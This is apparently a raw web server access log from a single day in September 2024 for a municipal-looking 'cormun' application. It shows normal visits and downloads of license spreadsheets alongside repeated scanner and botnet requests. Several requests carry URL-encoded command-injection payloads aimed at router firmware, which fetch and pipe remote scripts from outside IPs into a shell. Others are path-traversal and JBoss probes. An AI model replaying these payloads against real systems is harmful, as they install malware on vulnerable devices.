154.213.184.18 - - [29/Sep/2024:00:32:59 -0300] "CONNECT example.com:443 HTTP/1.1" 400 - 185.224.128.83 - - [29/Sep/2024:00:40:35 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.83 - - [29/Sep/2024:00:40:36 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 185.224.128.59 - - [29/Sep/2024:00:59:24 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.59 - - [29/Sep/2024:00:59:24 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 185.224.128.67 - - [29/Sep/2024:00:59:59 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.99%2Ft%7Csh%3B%60) HTTP/1.1" 404 1013 154.213.184.25 - - [29/Sep/2024:01:38:00 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 45.84.89.2 - - [29/Sep/2024:02:08:22 -0300] "GET / HTTP/1.1" 200 11217 154.213.187.5 - - [29/Sep/2024:02:11:42 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 79.121.114.168 - - [29/Sep/2024:02:11:57 -0300] "GET / HTTP/1.0" 200 11197 154.213.187.241 - - [29/Sep/2024:02:29:32 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 66.249.66.1 - - [29/Sep/2024:02:29:51 -0300] "GET /robots.txt HTTP/1.1" 404 981 66.249.66.2 - - [29/Sep/2024:02:29:51 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1713 95.214.55.43 - - [29/Sep/2024:02:40:11 -0300] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 1013 134.122.32.119 - - [29/Sep/2024:02:47:00 -0300] "GET / HTTP/1.1" 200 11217 134.122.32.119 - - [29/Sep/2024:02:47:00 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 40.77.167.138 - - [29/Sep/2024:03:11:18 -0300] "GET /robots.txt HTTP/1.1" 404 981 157.55.39.58 - - [29/Sep/2024:03:11:40 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1725 198.235.24.122 - - [29/Sep/2024:03:26:26 -0300] "GET / HTTP/1.1" 200 11217 87.120.166.244 - - [29/Sep/2024:03:46:02 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 185.224.128.83 - - [29/Sep/2024:04:10:43 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.83 - - [29/Sep/2024:04:10:43 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 154.213.184.25 - - [29/Sep/2024:04:30:59 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 185.224.128.67 - - [29/Sep/2024:04:45:48 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.99%2Ft%7Csh%3B%60) HTTP/1.1" 404 1013 154.213.184.18 - - [29/Sep/2024:04:49:58 -0300] "CONNECT example.com:443 HTTP/1.1" 400 - 199.45.154.144 - - [29/Sep/2024:05:25:16 -0300] "GET / HTTP/1.1" 200 11217 199.45.154.144 - - [29/Sep/2024:05:25:19 -0300] "GET / HTTP/1.1" 200 11217 199.45.154.144 - - [29/Sep/2024:05:25:20 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 199.45.154.144 - - [29/Sep/2024:05:25:22 -0300] "PRI * HTTP/2.0" 505 - 45.148.10.242 - - [29/Sep/2024:05:47:37 -0300] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 1013 154.213.184.25 - - [29/Sep/2024:06:12:25 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 185.224.128.59 - - [29/Sep/2024:06:33:01 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.59 - - [29/Sep/2024:06:33:01 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 179.43.133.162 - - [29/Sep/2024:06:41:26 -0300] "CONNECT cloudflare.com:443 HTTP/1.1" 400 - 147.185.132.49 - - [29/Sep/2024:06:43:31 -0300] "îêvÐ9td ª–<¦mšçcN‰˜²J´`·¢¥ÆL6=&êw ҐVÄѐö®CÐk&åN@»öþÎx¯Ü " 400 - 147.185.132.49 - - [29/Sep/2024:06:43:31 -0300] "ÊÆ{@vy í«Qzõºdxê­z¦V´v " 400 - 182.156.18.180 - - [29/Sep/2024:06:51:17 -0300] "HEAD /invoker/EJBInvokerServlet HTTP/1.1" 404 - 182.156.18.180 - - [29/Sep/2024:06:51:23 -0300] "HEAD /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1" 404 - 182.156.18.180 - - [29/Sep/2024:06:51:29 -0300] "HEAD /invoker/JMXInvokerServlet HTTP/1.1" 404 - 182.156.18.180 - - [29/Sep/2024:06:51:34 -0300] "HEAD /web-console/ServerInfo.jsp HTTP/1.1" 404 - 185.224.128.83 - - [29/Sep/2024:08:21:34 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.83 - - [29/Sep/2024:08:21:34 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 154.213.187.52 - - [29/Sep/2024:08:34:26 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 91.238.181.33 - - [29/Sep/2024:08:39:33 -0300] "/*àCookie: mstshash=Administr " 400 - 154.213.184.18 - - [29/Sep/2024:08:44:36 -0300] "CONNECT example.com:443 HTTP/1.1" 400 - 94.156.71.235 - - [29/Sep/2024:08:44:48 -0300] "CONNECT 45.61.136.175:7227 HTTP/1.1" 400 - 154.213.184.15 - - [29/Sep/2024:09:38:32 -0300] "POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh HTTP/1.1" 400 - 154.213.187.5 - - [29/Sep/2024:09:46:57 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 46.101.108.202 - - [29/Sep/2024:10:00:02 -0300] "-" 400 - 46.101.108.202 - - [29/Sep/2024:10:00:03 -0300] "GET / HTTP/1.1" 200 11217 46.101.108.202 - - [29/Sep/2024:10:00:03 -0300] "GET /download/powershell/ HTTP/1.1" 404 1001 4.255.98.242 - - [29/Sep/2024:10:06:28 -0300] "GET / HTTP/1.1" 200 11217 40.78.88.216 - - [29/Sep/2024:10:36:28 -0300] "-" 400 - 154.213.187.55 - - [29/Sep/2024:10:57:59 -0300] "CONNECT 45.61.137.126:7227 HTTP/1.1" 400 - 154.213.187.241 - - [29/Sep/2024:11:11:35 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 154.213.184.25 - - [29/Sep/2024:11:11:47 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 87.120.166.244 - - [29/Sep/2024:12:21:28 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 185.224.128.83 - - [29/Sep/2024:12:29:59 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.83 - - [29/Sep/2024:12:29:59 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 154.213.184.18 - - [29/Sep/2024:12:47:47 -0300] "CONNECT example.com:443 HTTP/1.1" 400 - 95.214.55.43 - - [29/Sep/2024:13:07:23 -0300] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 1013 185.224.128.67 - - [29/Sep/2024:13:11:00 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.99%2Ft%7Csh%3B%60) HTTP/1.1" 404 1013 185.224.128.59 - - [29/Sep/2024:13:25:26 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.59 - - [29/Sep/2024:13:25:26 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 154.213.184.25 - - [29/Sep/2024:14:27:54 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 154.213.187.241 - - [29/Sep/2024:15:06:15 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 45.148.10.242 - - [29/Sep/2024:15:19:28 -0300] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 1013 78.108.177.50 - - [29/Sep/2024:15:22:48 -0300] "GET / HTTP/1.0" 200 11197 154.213.187.52 - - [29/Sep/2024:15:38:24 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1771 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxpopupSD.js?85251 HTTP/1.1" 200 22377 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxfxSD.js?85251 HTTP/1.1" 200 15384 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxtypesSD.js?85251 HTTP/1.1" 200 24551 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxhtmlSD.js?85251 HTTP/1.1" 200 50424 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/JavaScripTableSD.js?85251 HTTP/1.1" 200 25100 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxapiSD.js?85251 HTTP/1.1" 200 78773 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/rijndaelSD.js?85251 HTTP/1.1" 200 6763 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxgridSD.js?85251 HTTP/1.1" 200 50735 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxgralSD.js?85251 HTTP/1.1" 200 20927 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxcfg.js?85251 HTTP/1.1" 200 953 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/gxfrmutlSD.js?85251 HTTP/1.1" 200 89044 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1782 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 190.46.81.180 - - [29/Sep/2024:15:43:48 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 154.213.184.25 - - [29/Sep/2024:16:00:06 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 157.20.98.56 - - [29/Sep/2024:16:08:17 -0300] "GET / HTTP/1.1" 200 11217 87.120.166.244 - - [29/Sep/2024:16:13:50 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 66.249.66.1 - - [29/Sep/2024:16:16:43 -0300] "GET /robots.txt HTTP/1.1" 404 981 66.249.66.1 - - [29/Sep/2024:16:16:43 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1719 154.213.184.15 - - [29/Sep/2024:16:18:11 -0300] "POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh HTTP/1.1" 400 - 94.156.66.83 - - [29/Sep/2024:16:57:48 -0300] "CONNECT 185.65.245.140:7227 HTTP/1.1" 400 - 154.213.184.18 - - [29/Sep/2024:17:01:26 -0300] "CONNECT example.com:443 HTTP/1.1" 400 - 185.224.128.83 - - [29/Sep/2024:17:20:19 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.83 - - [29/Sep/2024:17:20:20 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 154.213.187.186 - - [29/Sep/2024:18:18:32 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 52.167.144.168 - - [29/Sep/2024:18:21:38 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1712 185.224.128.59 - - [29/Sep/2024:19:01:11 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.59 - - [29/Sep/2024:19:01:11 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 87.120.166.244 - - [29/Sep/2024:19:23:26 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 154.213.184.25 - - [29/Sep/2024:20:03:52 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 179.43.133.162 - - [29/Sep/2024:20:06:27 -0300] "CONNECT cloudflare.com:443 HTTP/1.1" 400 - 154.213.184.18 - - [29/Sep/2024:20:46:03 -0300] "CONNECT example.com:443 HTTP/1.1" 400 - 185.224.128.83 - - [29/Sep/2024:21:17:16 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 1013 185.224.128.83 - - [29/Sep/2024:21:17:16 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 1013 181.161.6.128 - - [29/Sep/2024:21:28:00 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1719 181.161.6.128 - - [29/Sep/2024:21:28:00 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 181.161.6.128 - - [29/Sep/2024:21:28:00 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 181.161.6.128 - - [29/Sep/2024:21:28:00 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 181.161.6.128 - - [29/Sep/2024:21:28:00 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 181.161.6.128 - - [29/Sep/2024:21:28:01 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 181.161.6.128 - - [29/Sep/2024:21:28:01 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1729 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "POST /cormun/servlet/hlogin?faef911f6f3a3a51cc8788668e5fb450,gx-no-cache=1727656052333 HTTP/1.1" 200 90 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/servlet/hpexe_link HTTP/1.1" 200 951 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?8354383 HTTP/1.1" 200 100853 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/servlet/hhome HTTP/1.1" 200 4088 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_windows.js HTTP/1.1" 200 15249 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/Shared/jqueryui/jquery-ui.min.css?1345370 HTTP/1.1" 200 30288 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_grid.js HTTP/1.1" 200 7559 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?14345360 HTTP/1.1" 200 100853 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_griddivfix.js HTTP/1.1" 200 6946 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_link.js HTTP/1.1" 200 5671 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_layers.js HTTP/1.1" 200 4114 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_scrolldiv.js HTTP/1.1" 200 4138 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/Resources/CormunMP2.png HTTP/1.1" 200 6878 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_popup.js HTTP/1.1" 200 15149 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/Shared/ext/locale/ext-lang-en.js HTTP/1.1" 200 10940 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/Shared/jquery/jquery-1.4.2.min.js HTTP/1.1" 200 72174 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/SmoothNavMenu/resources/ddsmoothmenu.js HTTP/1.1" 200 12712 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/SmoothNavMenu/resources/SmoothNavMenuRender.js HTTP/1.1" 200 5951 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/scaMessage/js/jquery.pnotify.min.js HTTP/1.1" 200 13038 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/gxui/gxui-all.js HTTP/1.1" 200 107772 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/scaMessage/scaMessageRender.js HTTP/1.1" 200 11977 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/hmpwkw03.js?20221129844354 HTTP/1.1" 200 3971 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/Shared/jqueryui/jquery-ui.min.js HTTP/1.1" 200 240427 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/Shared/jquery/jquery-1.10.2.min.js HTTP/1.1" 200 273199 181.161.6.128 - - [29/Sep/2024:21:28:07 -0300] "GET /cormun/static/Shared/ext/ext-all.js HTTP/1.1" 200 1289687 181.161.6.128 - - [29/Sep/2024:21:28:18 -0300] "GET /cormun/servlet/trlicencias? HTTP/1.1" 200 12960 181.161.6.128 - - [29/Sep/2024:21:28:18 -0300] "GET /cormun/servlet/trlicencias? HTTP/1.1" 200 12958 181.161.6.128 - - [29/Sep/2024:21:28:19 -0300] "GET /cormun/static/calendar-system.css?85620 HTTP/1.1" 200 5572 181.161.6.128 - - [29/Sep/2024:21:28:19 -0300] "GET /cormun/static/calendar.js?85251 HTTP/1.1" 200 26246 181.161.6.128 - - [29/Sep/2024:21:28:19 -0300] "GET /cormun/static/gxdec.js?85251 HTTP/1.1" 200 19579 181.161.6.128 - - [29/Sep/2024:21:28:19 -0300] "GET /cormun/static/trlicencias.js?202211298463889 HTTP/1.1" 200 41883 181.161.6.128 - - [29/Sep/2024:21:28:19 -0300] "GET /cormun/static/Shared/ext/resources/css/ext-all.css?215870 HTTP/1.1" 200 416045 181.161.6.128 - - [29/Sep/2024:21:28:19 -0300] "GET /cormun/static/Shared/ext/resources/themes/images/default/tools/tool-sprites.gif HTTP/1.1" 200 5434 181.161.6.128 - - [29/Sep/2024:21:29:36 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656141917 HTTP/1.1" 200 101 181.161.6.128 - - [29/Sep/2024:21:29:37 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656142098 HTTP/1.1" 200 10870 181.161.6.128 - - [29/Sep/2024:21:29:37 -0300] "GET /cormun/Licencias-6095.xls HTTP/1.1" 200 10752 181.161.6.128 - - [29/Sep/2024:21:29:58 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656163198 HTTP/1.1" 200 10896 181.161.6.128 - - [29/Sep/2024:21:29:59 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656164547 HTTP/1.1" 200 10896 181.161.6.128 - - [29/Sep/2024:21:30:08 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656173514 HTTP/1.1" 200 10893 181.161.6.128 - - [29/Sep/2024:21:30:11 -0300] "GET /cormun/static/menuarrow.gif HTTP/1.1" 404 1015 181.161.6.128 - - [29/Sep/2024:21:30:22 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656187081 HTTP/1.1" 200 18476 181.161.6.128 - - [29/Sep/2024:21:30:30 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656195147 HTTP/1.1" 200 101 181.161.6.128 - - [29/Sep/2024:21:30:30 -0300] "GET /cormun/Licencias-1068.xls HTTP/1.1" 200 58368 181.161.6.128 - - [29/Sep/2024:21:30:35 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656200130 HTTP/1.1" 200 18023 181.161.6.128 - - [29/Sep/2024:21:30:38 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656203381 HTTP/1.1" 200 101 181.161.6.128 - - [29/Sep/2024:21:30:38 -0300] "GET /cormun/Licencias-8724.xls HTTP/1.1" 200 58368 181.161.6.128 - - 